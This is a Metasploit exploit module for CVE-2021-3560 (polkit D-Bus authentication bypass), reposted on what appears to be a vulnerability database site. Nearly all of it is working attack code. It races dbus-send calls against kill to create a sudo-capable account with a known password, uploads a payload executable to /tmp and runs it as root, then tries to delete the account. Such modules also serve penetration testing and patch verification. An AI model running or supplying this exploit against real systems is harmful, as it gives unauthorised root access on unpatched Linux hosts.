Monday, July 12, 2021

Polkit D-Bus Authentication Bypass

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'unix_crypt'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Local::Linux
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Polkit D-Bus Authentication Bypass',
'Description' => %q{
A vulnerability exists within the polkit system service that can be leveraged by a local, unprivileged
attacker to perform privileged operations. In order to leverage the vulnerability, the attacker invokes a
method over D-Bus and kills the client process. This will occasionally cause the operation to complete without
being subjected to all of the necessary authentication.
The exploit module leverages this to add a new user with a sudo access and a known password. The new account
is then leveraged to execute a payload with root privileges.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kevin Backhouse', # vulnerability discovery and analysis
'Spencer McIntyre', # metasploit module
'jheysel-r7' # metasploit module
],
'SessionTypes' => ['shell', 'meterpreter'],
'Platform' => ['unix', 'linux'],
'References' => [
['URL', 'https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/'],
['CVE', '2021-3560'],
['EDB', '50011']
],
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-06-03',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, SCREEN_EFFECTS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'A username to add as root', 'msf' ], regex: /^[a-z_]([a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)$/),
OptString.new('PASSWORD', [ true, 'A password to add for the user (default: random)', rand_text_alphanumeric(8)]),
OptInt.new('TIMEOUT', [true, 'The maximum time in seconds to wait for each request to finish', 30]),
OptInt.new('ITERATIONS', [ true, 'Due to the race condition the command might have to be run multiple times before it is successful. Use this to define how many times each command is attempted', 20])
])
register_advanced_options([
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
])
end

def get_loop_sequence
datastore['ITERATIONS'].times.map(&:to_s).join(' ')
end

def exploit_set_realname(new_realname)
loop_sequence = get_loop_sequence
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts/User0
org.freedesktop.Accounts.User.SetRealName
string:'#{new_realname}' &
sleep #{@cmd_delay};
kill $!;
dbus-send
--system
--dest=org.freedesktop.Accounts
--print-reply
/org/freedesktop/Accounts/User0
org.freedesktop.DBus.Properties.Get
string:org.freedesktop.Accounts.User
string:RealName
| grep "string \\"#{new_realname}\\"";
if [ $? -eq 0 ]; then
echo success;
break;
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def executable?(path)
cmd_exec("test -x '#{path}' && echo true").include? 'true'
end

def get_cmd_delay
user = rand_text_alphanumeric(8)
time_command = "bash -c 'time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:#{user} string:\"#{user}\" int32:1'"
time = cmd_exec(time_command, nil, datastore['TIMEOUT']).match(/real\s+\d+m(\d+.\d+)s/)
unless time && time[1]
print_error("Unable to determine the time taken to run the dbus command, so the exploit cannot continue. Try increasing the TIMEOUT option. The command that failed was: #{time_command}")
return nil
end

time_in_seconds = time[1].to_f
# The dbus-send command timeout is implementation-defined, typically 25 seconds
# https://dbus.freedesktop.org/doc/dbus-send.1.html#:~:text=25%20seconds
if time_in_seconds > datastore['TIMEOUT'].to_f || time_in_seconds > 25.00
print_error('The dbus-send command timed out which means the exploit cannot continue. This is likely due to the session service type being X11 instead of SSH. Please see the module documentation for more information.')
return nil
end
time_in_seconds / 2
end

def check
if datastore['TIMEOUT'] < 26
return CheckCode::Unknown("TIMEOUT is set to less than 26 seconds, so we can't detect if polkit times out or not.")
end

unless cmd_exec('pkexec --version') =~ /pkexec version (\d+\S*)/
return CheckCode::Safe('The polkit framework is not installed.')
end

# The version as returned by pkexec --version is insufficient to identify whether or not the patch is installed. To
# do that, the distro specific package manager would need to be queried. See #check_via_version.
polkit_version = Rex::Version.new(Regexp.last_match(1))

unless cmd_exec('dbus-send -h') =~ /Usage: dbus-send/
return CheckCode::Detected('The dbus-send command is not accessible, however the polkit framework is installed.')
end

# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
@cmd_delay = get_cmd_delay
return CheckCode::Unknown('Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?

status = nil
print_status('Checking for exploitability via attempt')
status ||= check_via_attempt
print_status('Checking for exploitability via version') unless status
status ||= check_via_version
status ||= CheckCode::Detected("Detected polkit framework version #{polkit_version}.")

status
end

def check_via_attempt
status = nil
return status unless !is_root? && command_exists?('dbus-send')

# This is required to make the /org/freedesktop/Accounts/User0 object_path available.
dbus_method_call('/org/freedesktop/Accounts', 'org.freedesktop.Accounts.FindUserByName', 'root')
# Check for the presence of the vulnerability be exploiting it to set the root user's RealName property to a
# random string before restoring it.
result = dbus_method_call('/org/freedesktop/Accounts/User0', 'org.freedesktop.DBus.Properties.Get', 'org.freedesktop.Accounts.User', 'RealName')
if result =~ /variant\s+string\s+"(.*)"/
old_realname = Regexp.last_match(1)
if exploit_set_realname(rand_text_alphanumeric(12))
status = CheckCode::Vulnerable('The polkit framework instance is vulnerable.')
unless exploit_set_realname(old_realname)
print_error('Failed to restore the root user\'s original \'RealName\' property value')
end
end
end

status
end

def check_via_version
sysinfo = get_sysinfo
case sysinfo[:distro]
when 'fedora'
if sysinfo[:version] =~ /Fedora( release)? (\d+)/
distro_version = Regexp.last_match(2).to_i
if distro_version < 20
return CheckCode::Safe("Fedora version #{distro_version} is not affected (too old).")
elsif distro_version < 33
return CheckCode::Appears("Fedora version #{distro_version} is affected.")
elsif distro_version == 33
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-3f8d6016c9
patched_version_string = '0.117-2.fc33.1'
elsif distro_version == 34
# see: https://bodhi.fedoraproject.org/updates/FEDORA-2021-0ec5a8a74b
patched_version_string = '0.117-3.fc34.1'
elsif distro_version > 34
return CheckCode::Safe("Fedora version #{distro_version} is not affected.")
end

result = cmd_exec('dnf list installed "polkit.*"')
if result =~ /polkit\.\S+\s+(\d\S+)\s+/
current_version_string = Regexp.last_match(1)
if Rex::Version.new(current_version_string) < Rex::Version.new(patched_version_string)
return CheckCode::Appears("Version #{current_version_string} is affected.")
else
return CheckCode::Safe("Version #{current_version_string} is not affected.")
end
end
end
when 'ubuntu'
result = cmd_exec('apt-cache policy policykit-1')
if result =~ /\s+Installed: (\S+)$/
current_version_string = Regexp.last_match(1)
current_version = Rex::Version.new(current_version_string.gsub(/ubuntu/, '.'))

if current_version < Rex::Version.new('0.105-26')
# The vulnerability was introduced in 0.105-26
return CheckCode::Safe("Version #{current_version_string} is not affected (too old, the vulnerability was introduced in 0.105-26).")
end

# See: https://ubuntu.com/security/notices/USN-4980-1
# The 'ubuntu' part of the string must be removed for Rex::Version compatibility, treat it as a point place.
case sysinfo[:version]
when /21\.04/
patched_version_string = '0.105-30ubuntu0.1'
when /20\.10/
patched_version_string = '0.105-29ubuntu0.1'
when /20\.04/
patched_version_string = '0.105-26ubuntu1.1'
when /19\.10/
return CheckCode::Appears('Ubuntu 19.10 is affected.')
end
# Ubuntu 19.04 and older are *not* affected

if current_version < Rex::Version.new(patched_version_string.gsub(/ubuntu/, '.'))
return CheckCode::Appears("Version #{current_version_string} is affected.")
end

return CheckCode::Safe("Version #{current_version_string} is not affected.")
end
end
end

def cmd_exec(*args)
result = super
result.gsub(/(\e\(B)?\e\[([;\d]+)?m/, '') # remove ANSI escape sequences from the command output
end

def dbus_method_call(object_path, interface_member, *args)
cmd_args = %w[dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply]
cmd_args << object_path
cmd_args << interface_member
args.each do |arg|
if arg.is_a?(Integer)
cmd_args << "int32:#{arg}"
elsif arg.is_a?(String)
cmd_args << "string:'#{arg}'"
end
end

cmd = cmd_args.join(' ')
vprint_status("Running: #{cmd}")
cmd_exec(cmd)
end

def create_unix_crypt_hash
UnixCrypt::SHA256.build(datastore['PASSWORD'].to_s)
end

def exploit_set_username(loop_sequence)
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts
org.freedesktop.Accounts.CreateUser
string:#{datastore['USERNAME']}
string:\"#{datastore['USERNAME']}\"
int32:1 &
sleep #{@cmd_delay}s;
kill $!;
if id #{datastore['USERNAME']}; then
echo \"success\";
break;
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def exploit_set_password(uid, hashed_password, loop_sequence)
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts/User#{uid}
org.freedesktop.Accounts.User.SetPassword
string:'#{hashed_password}'
string: &
sleep #{@cmd_delay}s;
kill $!;
echo #{datastore['PASSWORD']}
| su - #{datastore['USERNAME']}
-c \"echo #{datastore['PASSWORD']} | sudo -S id\"
| grep \"uid=0(root)\";
if [ $? -eq 0 ]; then
echo \"success\";
break;
fi;
done;
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def exploit_delete_user(uid, loop_sequence)
cmd_exec(<<~SCRIPT
for i in #{loop_sequence}; do
dbus-send
--system
--dest=org.freedesktop.Accounts
--type=method_call
--print-reply
/org/freedesktop/Accounts
org.freedesktop.Accounts.DeleteUser
int64:#{uid}
boolean:true &
sleep #{@cmd_delay}s;
kill $!;
if id #{datastore['USERNAME']}; then
echo \"failed\";
else
echo \"success\";
break;
fi;
done
SCRIPT
.gsub(/\s+/, ' ')) =~ /success/
end

def upload(path, data)
print_status("Writing '#{path}' (#{data.size} bytes) ...")
rm_f(path)
write_file(path, data)
register_file_for_cleanup(path)
end

def upload_and_chmodx(path, data)
upload(path, data)
chmod(path)
end

def upload_payload
fname = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(5)}"
upload_and_chmodx(fname, generate_payload_exe)
return nil unless file_exist?(fname)

fname
end

def execute_payload(fname)
cmd_exec("echo #{datastore['PASSWORD']} | su - #{datastore['USERNAME']} -c \"echo #{datastore['PASSWORD']} | sudo -S #{fname}\"")
end

def exploit
fail_with(Failure::NotFound, 'Failed to find the su command which this exploit depends on.') unless command_exists?('su')
fail_with(Failure::NotFound, 'Failed to find the dbus-send command which this exploit depends on.') unless command_exists?('dbus-send')
if datastore['TIMEOUT'] < 26
fail_with(Failure::BadConfig, "TIMEOUT is set to less than 26 seconds, so we can't detect if dbus-send times out or not.")
end

if @cmd_delay.nil?
# cmd_delay wasn't set yet which is needed for the rest of the exploit to operate,
# likely cause the check method wasn't executed. Lets set it so long.

# Calculate the round trip time for the dbus command we want to kill half way through in order to trigger the exploit
@cmd_delay = get_cmd_delay
fail_with(Failure::Unknown, 'Failed to calculate the round trip time for the dbus command. This is necessary in order to exploit the target.') if @cmd_delay.nil?
end

print_status("Attempting to create user #{datastore['USERNAME']}")
loop_sequence = get_loop_sequence

fail_with(Failure::BadConfig, "The user #{datastore['USERNAME']} was unable to be created. Try increasing the ITERATIONS amount.") unless exploit_set_username(loop_sequence)
uid = cmd_exec("id -u #{datastore['USERNAME']}")
print_good("User #{datastore['USERNAME']} created with UID #{uid}")
print_status("Attempting to set the password of the newly created user, #{datastore['USERNAME']}, to: #{datastore['PASSWORD']}")
if exploit_set_password(uid, create_unix_crypt_hash, loop_sequence)
print_good('Obtained code execution as root!')
fname = upload_payload
execute_payload(fname)
else
print_error("Attempted to set the password #{datastore['Iterations']} times, did not work.")
end

print_status('Attempting to remove the user added: ')
if exploit_delete_user(uid, loop_sequence)
print_good("Successfully removed #{datastore['USERNAME']}")
else
print_warning("Unable to remove user: #{datastore['USERNAME']}, created during the running of this module")
end
end
end
 

Copyright © 2020 Cyber Details - Vulnerability Database™

Thanks for everything Templateism - You should have written the code a little more complicated